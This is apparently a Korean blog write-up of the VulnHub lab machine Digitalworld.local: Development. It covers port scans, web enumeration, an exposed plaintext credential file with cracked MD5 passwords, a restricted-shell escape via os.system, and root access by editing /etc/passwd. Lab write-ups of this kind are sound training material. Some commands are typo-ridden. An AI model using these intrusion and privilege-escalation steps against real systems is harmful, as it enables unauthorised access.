https://www.vulnhub.com/entry/digitalworldlocal-development,280/
Digitalworld 시리즈가 전체적으로 상태가 안좋다.
이 전 박스도 그랬지만 네트워크가 다운돼
서버를 수시로 재부팅 시키며 문제를 풀어가야 했고
이 박스의 경우 정상적으로 오픈되어 있는 포트에
접속이 안되는 등(ssh) 불필요한 에너지를 소모하게
만드는 시리즈다.
해당 박스는 'virtual box'에서 ip 검색이 안되고
'workstation'에서는 잡히나 여러 스캐닝 과정이
잘 되지 않고 ssh 로그인이 안된다.
해결을 위한 여러 방법들을 간구해볼 수 있고
그 자체로도 공부는 될 수 있으나
에너지 낭비가 심했다.
암튼 결국 루팅은 성공..
1. Scanning
[root@takudaddy ~]# nmap 192.168.20.6
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-22 14:14 KST
PORT STATE SERVICE
22/tcp open ssh
113/tcp open ident
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
[root@takudaddy ~]# nmap -sV -O 192.168.20.6
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-22 14:17 KST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
113/tcp open ident? auth-owners: oident
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) auth-owners: root
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) auth-owners: root
8080/tcp open http-proxy IIS 6.0
: 8080
2. Web Enumeration
[root@takudaddy /script]# dirb http://192.168.20.6:8080 /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Mar 22 14:56:52 2021
URL_BASE: http://192.168.20.6:8080/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.20.6:8080/ ----
+ http://192.168.20.6:8080/_vti_bin (CODE:200|SIZE:154)
+ http://192.168.20.6:8080/_vti_cnf (CODE:200|SIZE:154)
+ http://192.168.20.6:8080/_vti_pvt (CODE:200|SIZE:154)
+ http://192.168.20.6:8080/about (CODE:200|SIZE:936)
==> DIRECTORY: http://192.168.20.6:8080/aspnet_client/
+ http://192.168.20.6:8080/development (CODE:200|SIZE:576)
+ http://192.168.20.6:8080/error (CODE:200|SIZE:29)
+ http://192.168.20.6:8080/index.html (CODE:200|SIZE:560)
+ http://192.168.20.6:8080/root (CODE:200|SIZE:144)
+ http://192.168.20.6:8080/server-status (CODE:403|SIZE:287)
---- Entering directory: http://192.168.20.6:8080/aspnet_client/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Mar 22 14:58:02 2021
DOWNLOADED: 4612 - FOUND: 9
[root@takudaddy /script]# wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://192.168.20.6:8080/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.20.6:8080/FUZZ
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000025: 200 30 L 99 W 936 Ch "about"
000000263: 200 9 L 94 W 576 Ch "development"
000000313: 200 1 L 5 W 29 Ch "error"
000000699: 200 6 L 13 W 144 Ch "root"
/development 페이지
: /test.pcap, /developmet.html, /registration
3. Digging
wireshark로 패킷 파일을 열어 분석 :
/developmentsecretpage/directortestpagev1.php
/qinyi/motivation.html (내용 없음)
발견
: 로그인도 안했는데 로그아웃 하란다.
: php 로그인 페이지길래 간단한 sql 구문 삽입
: 에러 메시지 나오길래 sql injection 되나 싶어
sqlmap으로 돌려봤지만 안됨. (시간 많이 허비함)
메시지를 자세히 보니 sql 에러 구문이 아님.
: 이런 부분을 조심해야 한다.
처음부터 자세히 봤으면 불필요한 시간 낭비를
하지 않았을 텐데 하나 꽂히면 '이거겠지' 생각해
다른 것 못보고 그것만 계속 파해친다. 주의하자!
: 위 에러에서 중요한 부분은
slogin_lib.inc.php 이게 핵심이다.
이 부분은 조금 후에 살펴보기로 하고
아직 못 들어가본 페이지들을 더 둘러본다.
먼저 마지막 접속한 경로 바로 전 디렉터리를
들어가 본다. /developmentsecrestpage
: 내부에 공유하는 글들이 나오는데
암호와 관련된 단어들은 혹시 몰라
모두 리스트로 만들어 파일에 담아둔다.
계속 탐색....
: 파일 업로드 되나 http Method도 검색해 봄
뭐가 많은데 별 내용 없다.
그러다가
: /html_pages에 들어가 보라고 한다.
: 하나씩 모두 접속
https://www.convertbinary.com/to-text/
01001000 01010101 01001000 00111111
: HUH?
01010011 01110101 01110010 01100101 01101100 01111001 00100000 01100100 01100101 01110110 01100101 01101100 01101111 01110000 01101101 01100101 01101110 01110100 00100000 01110011 01100101 01100011 01110010 01100101 01110100 00100000 01110000 01100001 01100111 01100101 00100000 01101001 01110011 00100000 01101110 01101111 01110100 00100000 01110100 01101000 01100001 01110100 00100000 01101000 01100001 01110010 01100100 00100000 01110100 01101111 00100000 01100110 01101001 01101110 01100100 00111111
: Surely development secret page is not that hard to find?
이런 쓸데없는 정보들로 이루어져 있다.
페이지마다 IIS 6.0이 명시되어 있길래
검색해보니 BOF 취약점이 발견된 시스템.
BOF로 풀어야 하나 해서 관련 문서좀 읽고
공격코드도 받아 보았다. 이 부분은 나중에
해보기로 하고.
다시 에러 메시지
slogin_lib.inc.php
로 돌아와서.
4. slogin_lib.inc.php
Simple text file login script
위 파일의 가장 큰 취약점은
사용자 이름과 비번(해쉬) 리스트를
평문 형태의 파일(slog_users.txt )로
내포하고 있다는 것.
이를 활용해 접속해보면
# http://192.168.20.6:8080/developmentsecretpage/slog_users.txt
: 사용자명과 해쉬로 된 비번이 출력된다.
해쉬를 복호화 하면 다음과 같다.
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb (MD5) : No result
intern, 4a8a2b374f463b7aedbb44a066363b81 (MD5) : 12345678900987654321
patrick, 87e6d56ce79af90dbe07d387d3d0579e (MD5) : P@ssw0rd25
qiu, ee64497098d0926d198f54f6d5431f98 (MD5) : qui
5. Penetration
침투해본다.
# ssh intern@192.168.20.6
(참고로 ssh 접속이 불가능해
서버에서 직접 작업을 이어나간다)
# intern 유저로 로그인
cat 명령어 사용이 안된다.
? 나 help 를 쳐보면 사용 가능한 명령어가 나온다.
echo 명령어 사용이 가능하다고 하니
$ echo os.system('/bin/bash')
: 배쉬쉘을 실행 시켰다.
디깅~
$ ls -al로 검색!
: patrick 사용자로 전환해보자.
# patrick 유저로 로그인
$ sudo /bin/bash
$ sudo -l
/usr/bin/vim
/bin/nano
편집기 사용이 가능하단다.
/etc/passwd 접근 가능한지 보고
가능하다면 해당 파일을 수정해보자
6. Privilege Escalation
$ sudo /usr/bin/bash /etc/passwd
UID/GID값을 0으로 변경
로그아웃 했다가 다시 로그인 하면
루트로 로그인 된다!
끝
다른 방법 :
새로운 유저 생성
python으로 암호화된 암호를 생성해
/etc/passwd에 넣는다.
$ ptyhon
> import crypt
> crypt.crypt("takudaddy","taku")
> 암호키 확인
폼에 맞게 만들어 주고 해당 유저로 로그인 하면 끝
ID : takudaddy
PW : takudaddytaku
끝
'OSCP > Vulnahub' 카테고리의 다른 글
6. Prime : 1 (0) | 2021.03.26 |
---|---|
5. Digitalwolrd.local : bravery (0) | 2021.03.25 |
3. Digitalworld.local : Joy (0) | 2021.03.20 |
2. DIGITALWORLD.LOCAL: Mercy V2 (0) | 2021.03.19 |
1. DC: 9 (0) | 2021.03.17 |